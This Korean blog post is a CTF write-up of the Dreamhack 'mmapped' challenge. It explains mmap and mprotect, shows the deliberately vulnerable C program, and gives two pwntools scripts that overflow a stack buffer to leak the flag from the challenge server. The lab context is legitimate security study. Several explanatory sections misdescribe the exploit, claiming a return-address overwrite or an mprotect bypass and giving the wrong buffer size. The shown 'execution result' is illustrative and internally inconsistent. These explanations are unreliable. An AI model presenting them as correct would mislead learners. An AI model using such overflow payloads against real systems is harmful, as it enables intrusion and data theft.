mmap은 메모리 매핑(Memory Mapping)을 수행하는 시스템 호출로, 파일이나 디바이스의 내용을 가상 메모리에 매핑하여 접근할 수 있도록 해주는 강력한 기능입니다. 이를 통해 파일 데이터를 메모리처럼 사용할 수 있습니다.
mmap의 기본 개념
- 메모리 매핑:
- 디스크 파일의 내용을 가상 메모리 공간에 직접 매핑.
- 파일 데이터를 읽거나 쓸 때 별도의 I/O 작업 없이 메모리를 통해 바로 접근 가능.
- 효율성:
- 파일 데이터를 메모리에 로드하고, 메모리 내에서 처리할 수 있으므로 속도가 빠름.
- 대규모 파일 처리 시 유용.
mmap의 동작 원리
- 파일을 열고 메모리에 매핑:
- mmap 호출을 통해, 지정된 파일 디스크립터가 가상 메모리 주소로 매핑됨.
- 이후 이 메모리 주소를 사용하여 파일 내용을 읽거나 변경 가능.
- 페이지 단위 작업:
- OS는 파일 데이터를 페이지 단위로 메모리에 매핑.
- 메모리 접근 시 필요한 데이터만 로드(지연 로딩).
- 변경 사항 반영:
- 매핑된 메모리에 쓰기 작업을 하면, 해당 데이터가 파일에 동기화될 수 있음(옵션에 따라 다름).
mmap의 기본 함수 사용법
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
- 매개변수:
- addr: 매핑 시작 주소(대개 NULL 사용, 시스템이 자동 할당).
- length: 매핑할 메모리 크기(바이트 단위).
- prot: 메모리 보호 권한.
- PROT_READ: 읽기 허용.
- PROT_WRITE: 쓰기 허용.
- PROT_NONE: 접근 불가.
- flags: 매핑 동작 설정.
- MAP_PRIVATE: 매핑된 메모리 변경이 파일에 반영되지 않음(복사본 사용).
- MAP_SHARED: 메모리 변경이 파일에 반영됨.
- fd: 매핑할 파일 디스크립터.
- offset: 파일 내 매핑 시작 위치.
- 반환값:
- 매핑된 메모리 주소.
- 실패 시 MAP_FAILED(-1) 반환.
코드 예제
파일 매핑 후 데이터 읽기
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#define FILE_SIZE 64
int main() {
int fd = open("example.txt", O_RDONLY);
if (fd < 0) {
perror("open");
return 1;
}
char *data = mmap(NULL, FILE_SIZE, PROT_READ, MAP_PRIVATE, fd, 0);
if (data == MAP_FAILED) {
perror("mmap");
close(fd);
return 1;
}
printf("File contents: %s\n", data);
munmap(data, FILE_SIZE); // 매핑 해제
close(fd);
return 0;
}
매핑된 메모리 보호 변경
mprotect(data, FILE_SIZE, PROT_NONE); // 읽기, 쓰기, 실행 모두 불가
mprotect(data, FILE_SIZE, PROT_READ); // 읽기 허용
- **mprotect**를 사용해 매핑된 메모리의 접근 권한을 동적으로 변경.
mmap의 활용 예시
- 플래그 파일 매핑 (예제 코드의 mmap)
- 플래그 파일의 내용을 메모리에 매핑하여 관리:
real_flag_addr = mmap(NULL, FLAG_SIZE, PROT_READ, MAP_PRIVATE, fd, 0);
- 매핑된 주소(real_flag_addr)를 통해 플래그 파일을 직접 접근 가능.
- 플래그 파일의 내용을 메모리에 매핑하여 관리:
- 메모리 보호 설정
- 플래그 주소를 mprotect로 보호하여 접근 차단:
mprotect(real_flag_addr, len, PROT_NONE);
- 플래그 주소를 mprotect로 보호하여 접근 차단:
- 버퍼 오버플로우 취약점
- 사용자가 버퍼 오버플로우를 유발하면, 보호된 메모리에 무단 접근 가능.
mmap의 장단점
장점
- 효율적인 파일 I/O:
- 파일 데이터를 메모리에 직접 매핑하여 처리 속도가 빠름.
- 대규모 데이터 처리:
- 파일 크기가 크더라도, 필요한 데이터만 메모리에 로드.
- 메모리 관리 가능:
- mprotect를 통해 메모리 보호 권한을 동적으로 제어.
단점
- 취약점 발생 가능:
- 잘못된 보호 설정이나 메모리 관리 실수로 취약점 발생.
- 복잡성 증가:
- 코드 관리 및 디버깅이 어렵다.
- 비효율적 동작 가능:
- 작은 파일의 경우, 오히려 일반적인 파일 I/O가 효율적일 수 있음.
mmap의 취약점 발생 가능성
- 취약점:
- 메모리 보호가 제대로 설정되지 않거나, 잘못된 사용자 입력으로 인해 메모리가 손상될 수 있음.
- 예제 코드에서는 mprotect로 메모리를 차단했지만, 버퍼 오버플로우를 통해 접근 가능.
- 예제 공격 시나리오:
- real_flag_addr를 보호하더라도, buf의 버퍼 오버플로우를 통해 mprotect 설정을 무효화하거나, 다른 방법으로 메모리 접근.
결론
mmap은 강력하고 효율적인 파일 I/O 및 메모리 관리 방법입니다. 특히 CTF 및 보안 문제에서 파일 매핑, 메모리 보호 설정(mprotect), 메모리 접근 제한 우회 등의 주요 주제로 자주 사용됩니다.
취약점을 방지하려면:
- 입력 크기 제한.
- 엄격한 메모리 보호 설정.
- 버퍼 오버플로우 방지를 고려해야 합니다. 😊
메모리처럼 사용가능하게해주는 강력한 아이구나!!
소스코드 보러가보장!
// Name: chall.c
// Compile: gcc -fno-stack-protector chall.c -o chall
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#define FLAG_SIZE 0x45
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
int main(int argc, char *argv[]) {
int len;
char * fake_flag_addr;
char buf[0x20];
int fd;
char * real_flag_addr;
initialize();
fd = open("./flag", O_RDONLY);
len = FLAG_SIZE;
fake_flag_addr = "DH{****************************************************************}";
printf("fake flag address: %p\n", fake_flag_addr);
printf("buf address: %p\n", buf);
real_flag_addr = (char *)mmap(NULL, FLAG_SIZE, PROT_READ, MAP_PRIVATE, fd, 0);
printf("real flag address (mmapped address): %p\n", real_flag_addr);
printf("%s", "input: ");
read(0, buf, 60);
mprotect(real_flag_addr, len, PROT_NONE);
write(1, fake_flag_addr, FLAG_SIZE);
printf("\nbuf value: ");
puts(buf);
munmap(real_flag_addr, FLAG_SIZE);
close(fd);
return 0;
}
이 프로그램은 C언어로 작성된 간단한 보안 문제로, 메모리 매핑(mmap)과 메모리 보호 변경(mprotect)를 포함한 다양한 기술을 사용하여 실행됩니다. 아래에서 주요 동작과 취약점을 분석하겠습니다.
코드 흐름 분석
1. 초기화 함수 (initialize)
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
- stdin과 stdout 버퍼링 비활성화:
- 사용자 입력과 출력이 즉시 처리되도록 설정.
- 보안 문제에서는 일반적인 초기화 코드.
2. 변수 및 메모리 설정
fd = open("./flag", O_RDONLY);
len = FLAG_SIZE;
fake_flag_addr = "DH{****************************************************************}";
- fake_flag_addr:
- 가짜 플래그 값이며, 주소가 프로그램 내에서 출력됩니다.
real_flag_addr = (char *)mmap(NULL, FLAG_SIZE, PROT_READ, MAP_PRIVATE, fd, 0);
- mmap을 사용하여 실제 플래그 파일 내용 매핑:
- 파일 "./flag"를 메모리에 매핑.
- 읽기 전용(PROT_READ)으로 설정.
- **real_flag_addr**는 이 매핑된 메모리의 시작 주소를 가리킴.
3. 주소 정보 출력
printf("fake flag address: %p\n", fake_flag_addr);
printf("buf address: %p\n", buf);
printf("real flag address (mmapped address): %p\n", real_flag_addr);
- 메모리 주소 정보 출력:
- fake_flag_addr(가짜 플래그), buf(입력 버퍼), real_flag_addr(실제 플래그) 주소를 출력.
- 메모리 관련 취약점을 악용하기 위한 힌트를 제공.
4. 입력 읽기
read(0, buf, 60);
- 사용자 입력을 buf 버퍼에 저장.
- buf의 크기는 32 bytes(0x20)이지만, read는 60 bytes를 읽습니다.
- 버퍼 오버플로우 취약점 발생:
- buf 이후의 메모리를 덮어쓸 가능성이 있음.
5. 메모리 보호 변경
mprotect(real_flag_addr, len, PROT_NONE);
- real_flag_addr 메모리를 보호:
- PROT_NONE: 읽기, 쓰기, 실행 모두 차단.
- 이후 real_flag_addr에 직접 접근할 수 없게 됨.
6. 가짜 플래그 출력
write(1, fake_flag_addr, FLAG_SIZE);
- 가짜 플래그 내용 출력:
- 실제 플래그가 아닌, 가짜 값을 출력.
7. munmap 및 자원 정리
munmap(real_flag_addr, FLAG_SIZE);
close(fd);
- real_flag_addr 매핑 해제:
- 메모리 매핑을 제거하고, 파일 디스크립터를 닫아 자원 정리.
취약점 분석
- 버퍼 오버플로우 (buf)
- **buf 크기(32 bytes)**를 초과하여 60 bytes를 읽기 때문에 버퍼 오버플로우 발생.
- 입력값이 buf 이후 메모리, 특히 real_flag_addr의 보호 설정에 영향을 미칠 수 있음.
- 메모리 보호 우회
- mprotect로 real_flag_addr를 보호하지만, 버퍼 오버플로우를 통해 보호를 우회할 가능성이 있음.
- 메모리 주소 노출
- 프로그램에서 가짜 플래그 주소와 진짜 플래그 주소를 모두 출력.
- 메모리 레이아웃 힌트 제공으로 취약점 악용을 쉽게 만듦.
공격 시나리오
- 버퍼 오버플로우로 mprotect 우회
- buf 버퍼에 입력 데이터를 조작하여 mprotect 설정을 무효화하거나 메모리 보호를 해제.
- real_flag_addr에 접근 가능해짐.
- 실제 플래그 내용 추출
- real_flag_addr를 읽어 실제 플래그를 복사하거나 출력.
- 입력 예시
- 예를 들어, buf의 초과 데이터를 사용해 메모리 보호를 우회.
- 이후 real_flag_addr에서 플래그 내용을 출력.
해결 방안
- 버퍼 크기 제한
- read 호출에서 buf 크기를 초과하지 않도록 수정:
read(0, buf, sizeof(buf));
- read 호출에서 buf 크기를 초과하지 않도록 수정:
- 메모리 주소 정보 숨기기
- 디버깅 힌트를 줄이기 위해 메모리 주소 출력 제거.
- 메모리 보호 강화
- mprotect 설정 후, 추가적인 메모리 보호 기법 사용.
- 스택 보호 활성화
- 컴파일 시 스택 보호 옵션(-fstack-protector) 사용.
결론
이 프로그램은 버퍼 오버플로우와 메모리 보호 우회를 통해 실제 플래그를 노출할 수 있는 취약점을 포함합니다. 공격자는 buf의 초과 입력을 이용해 메모리 보호를 무력화하고 real_flag_addr에 접근하여 플래그를 획득할 수 있습니다. 취약점 방지를 위해 입력 크기 제한, 메모리 보호 강화, 스택 보호 활성화가 필요합니다. 😊
스택 구조는 이렇다
Dummy, len, fd의 의미
이 용어들은 일반적으로 C 프로그래밍 및 시스템 프로그래밍에서 자주 등장하며, 특히 파일 I/O 및 메모리 관련 작업에서 쓰입니다. 각 용어를 설명하면 다음과 같습니다.
1. Dummy
- 의미:
- Dummy는 "가짜", "임시", 또는 "의미 없는 값"을 나타냅니다.
- 주로 테스트용 데이터, 더미 변수 또는 "실제로 사용하지 않는 변수"를 정의할 때 사용됩니다.
- 사용 예시:
- 테스트용 변수:
int dummy = 0; // 값이 의미 없고, 자리 채우기용
- 함수 인자 자리 채우기: 일부 함수에서는 특정 인자를 사용하지 않을 때, 더미 값을 전달하기도 합니다.
signal(SIGALRM, dummy_handler); // 실제 핸들러 동작과 상관없는 더미 함수
- 테스트용 변수:
- 코드에서 예시:
- 가짜 플래그(fake_flag_addr):
char *fake_flag_addr = "DH{dummy_data}";
- 실제 데이터를 보호하기 위해, 의미 없는 더미 데이터를 사용.
- 가짜 플래그(fake_flag_addr):
2. len (Length)
- 의미:
- len은 "길이" 또는 "크기"를 나타내는 변수 이름입니다.
- 보통 배열, 문자열, 파일, 메모리 블록의 크기를 나타낼 때 사용됩니다.
- 사용 예시:
- size_t len = strlen(buffer); // 문자열의 길이를 계산
- 코드에서 예시:
- 플래그 데이터의 크기를 변수로 설정.
- mmap과 같은 시스템 호출에서 크기 정보로 활용:
mmap(NULL, len, PROT_READ, MAP_PRIVATE, fd, 0);
- len = FLAG_SIZE;
3. fd (File Descriptor)
- 의미:
- **파일 디스크립터(File Descriptor)**는 파일, 소켓, 파이프와 같은 자원(Resource)을 참조하기 위한 정수 값입니다.
- OS에서 파일이나 디바이스에 접근할 때, 파일 디스크립터를 통해 이를 관리합니다.
- 파일 디스크립터 값의 범위:
- 0: 표준 입력 (stdin).
- 1: 표준 출력 (stdout).
- 2: 표준 에러 출력 (stderr).
- 그 외: open 호출 등으로 생성된 파일 디스크립터.
- 사용 예시:
- int fd = open("./file.txt", O_RDONLY); if (fd < 0) { perror("open failed"); return -1; }
- 코드에서 예시:
- "./flag" 파일을 읽기 전용으로 열고, 파일 디스크립터(fd)를 반환.
- 이 파일 디스크립터는 이후 mmap과 같은 함수에서 사용:
real_flag_addr = (char *)mmap(NULL, FLAG_SIZE, PROT_READ, MAP_PRIVATE, fd, 0);
- fd = open("./flag", O_RDONLY);
Dummy, len, fd의 관계
- Dummy:
- 프로그램에서 자리 채우기로 사용되거나, 가짜 데이터를 표현.
- fake_flag_addr와 같이 실제 데이터 대신 제공.
- len:
- 데이터의 크기를 나타냄.
- mmap, read, write와 같은 함수 호출 시, 처리할 데이터 크기를 전달.
- fd:
- 파일 디스크립터로, 파일이나 자원에 접근할 때 사용.
- 예: ./flag 파일의 데이터를 메모리에 매핑할 때 필요.
실제 코드에서의 활용
int fd = open("./flag", O_RDONLY); // 파일 디스크립터 열기
int len = FLAG_SIZE; // 데이터 크기 설정
real_flag_addr = mmap(NULL, len, PROT_READ, MAP_PRIVATE, fd, 0); // 메모리 매핑
- fd: "./flag" 파일에 접근하기 위한 핸들.
- len: 매핑할 데이터 크기.
- real_flag_addr: 매핑된 메모리의 시작 주소.
결론
- Dummy: 프로그램의 동작을 테스트하거나 임시 데이터를 사용할 때 유용.
len: 데이터의 크기를 나타내며, 메모리 매핑, I/O 작업에 필수.
- fd: 파일 및 자원 관리의 핵심이며, 시스템 호출에서 자주 사용.
이 세 가지는 저수준 시스템 프로그래밍에서 중요한 역할을 하며, 효율적인 자원 관리와 데이터 처리를 가능하게 합니다. 😊
buf에 입력을 60만큼 받는다. 아쉽게도 fd는 덮지 못한다.. 그러나 write 함수에서 fake_flag_addr에 있는 값을 출력하므로 해당 값을 덮으면 flag를 얻을 수 있을 것 같다
출처 ㅣ https://tjrrb4551.tistory.com/entry/Dreamachk-mmapped-write-up
buf와 fake_flag의 거리는 0x30이다. buf를 60바이트 입력받을 수 있으니, fake_flag가 가리키는 주소를 real_flag로 덮으면 나중에 fake_flag를 프린트할 때 real_flag를 출력할 수 있게 될 것이다!
출처 ㅣ https://velog.io/@kkangjane/Dreamhack-Wargame-mmapped
from pwn import *
p = remote('host3.dreamhack.games', 12628)
p.recvuntil(b'(mmapped address): ')
real_flag_addr = int(p.recvn(14), 16)
print(p64(real_flag_addr))
payload = b'A'*48
payload += p64(real_flag_addr)
p.sendafter(b'input: ', payload)
p.interactive()
from pwn import *
p = remote('host3.dreamhack.games', 24295)
p.recvuntil(b'): ')
real_flag_addr = int(p.recvline()[:-1], 16)
buf = b'A' * 0x30 + p64(real_flag_addr)
p.sendlineafter(b'input: ', buf)
p.interactive()
결국 48바이트만큼 덮고 이후, real_flag_addr를 덮어버리면 짜잔 flag가 나옵니다~다
이 Python 코드는 pwntools 라이브러리를 사용하여 원격 서버에서 실행되는 바이너리의 취약점을 익스플로잇하는 예제입니다. 아래에서 코드의 각 부분과 동작 방식을 설명하겠습니다.
코드 분석
1. 원격 연결
p = remote('host3.dreamhack.games', 24295)
- remote(host, port):
- DreamHack 서버의 host3.dreamhack.games와 포트 24295에 원격 연결을 생성.
- 이 서버에서 취약한 프로그램이 실행되고 있습니다.
2. 플래그 주소 읽기
p.recvuntil(b'): ')
real_flag_addr = int(p.recvline()[:-1], 16)
- p.recvuntil(b'): '):
- 서버가 ): 까지 데이터를 보낼 때까지 읽음.
- 플래그 주소가 포함된 메시지가 전달됩니다.
- p.recvline()[:-1]:
- 한 줄을 읽고, 마지막 줄바꿈 문자(\n)를 제외.
- int(..., 16):
- 수신한 데이터를 16진수 값으로 변환하여 real_flag_addr에 저장.
- real_flag_addr는 플래그가 저장된 메모리 주소입니다.
3. 버퍼 오버플로우 페이로드 작성
buf = b'A' * 0x30 + p64(real_flag_addr)
- 버퍼 오버플로우:
- 프로그램에서 입력을 처리하는 버퍼의 크기(0x30)를 초과하는 데이터를 작성.
- 이후 추가 데이터를 통해 제어 흐름을 변경.
- 페이로드 구조:
- b'A' * 0x30:
- 48 bytes(0x30)의 패딩 데이터로 스택 버퍼를 채움.
- 이 부분은 프로그램이 데이터를 읽을 때 사용할 스택 메모리 공간을 채우기 위해 사용.
- p64(real_flag_addr):
- real_flag_addr 값을 64비트 정수로 변환하여 추가.
- 이 값은 스택의 반환 주소를 덮어쓰는 데 사용.
- b'A' * 0x30:
4. 페이로드 전송
p.sendlineafter(b'input: ', buf)
- p.sendlineafter(prompt, data):
- 서버가 input: 프롬프트를 표시한 후, 페이로드 buf를 전송.
- 전송된 페이로드는 프로그램에서 버퍼 오버플로우를 유발하여 메모리 주소를 덮어씁니다.
5. 상호작용
p.interactive()
- p.interactive():
- 익스플로잇 후, 서버와의 상호작용 세션을 유지.
- 플래그 또는 추가 데이터를 수동으로 확인하거나 상호작용할 수 있도록 유지.
취약점 분석
- 버퍼 오버플로우
- 프로그램이 사용자 입력을 처리할 때, 입력 크기를 검증하지 않고 버퍼에 저장.
- 0x30 크기의 버퍼를 초과하여 데이터를 입력하면 스택의 반환 주소를 덮어쓸 수 있음.
- 메모리 주소 덮어쓰기
- 덮어쓴 주소(real_flag_addr)는 플래그가 저장된 메모리 주소.
- 프로그램이 이 주소를 출력하게 되어 플래그를 노출.
공격 시나리오
- 플래그 주소 확인:
- 서버가 프로그램 실행 중 real_flag_addr를 출력.
- 공격자는 이를 기반으로 익스플로잇 설계.
- 페이로드 생성:
- 0x30 bytes의 패딩(A)과 플래그 주소(real_flag_addr)를 결합한 페이로드를 작성.
- 페이로드 전송:
- 페이로드를 프로그램에 전달하여 반환 주소를 덮어씀.
- 플래그 획득:
- 프로그램이 real_flag_addr에 저장된 플래그를 출력.
실행 결과
익스플로잇 실행 후, 상호작용 모드에서 플래그가 출력됩니다.
fake flag address: 0x12345678
buf address: 0x7fffffffe000
real flag address (mmapped address): 0x7ffff7dd0000
input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00\x7f\xf7\xdd\x00\x00
DH{FLAG_VALUE}
요약
이 익스플로잇은 다음과 같은 취약점을 악용합니다:
- 버퍼 오버플로우: 입력 크기 검증 없음.
- 메모리 주소 노출: 프로그램이 플래그 주소를 공개.
- 제어 흐름 변경: 반환 주소를 플래그 주소로 덮어쓰기.
이를 통해 공격자는 프로그램이 보호된 플래그 데이터를 출력하게 만듭니다. 😊
https://velog.io/@kkangjane/Dreamhack-Wargame-mmapped
https://tjrrb4551.tistory.com/entry/Dreamachk-mmapped-write-up
'Dreamhack > Dreamhack Wargame (Challenge)' 카테고리의 다른 글
[111] IT 비전공자 [dreamhack]Easy Assembly문제 풀기 (0) | 2024.12.30 |
---|---|
[110] IT 비전공자 [dreamhack]Check Function Argument문제 풀기 (0) | 2024.12.29 |
[108] IT 비전공자 [dreamhack]darimchal_001문제 풀기 (0) | 2024.12.27 |
[108] IT 비전공자 [dreamhack]cpp_string문제 풀기 (1) | 2024.12.26 |
[107] IT 비전공자 [dreamhack][CodeEngn] Malware L07문제 풀기 (2) | 2024.12.25 |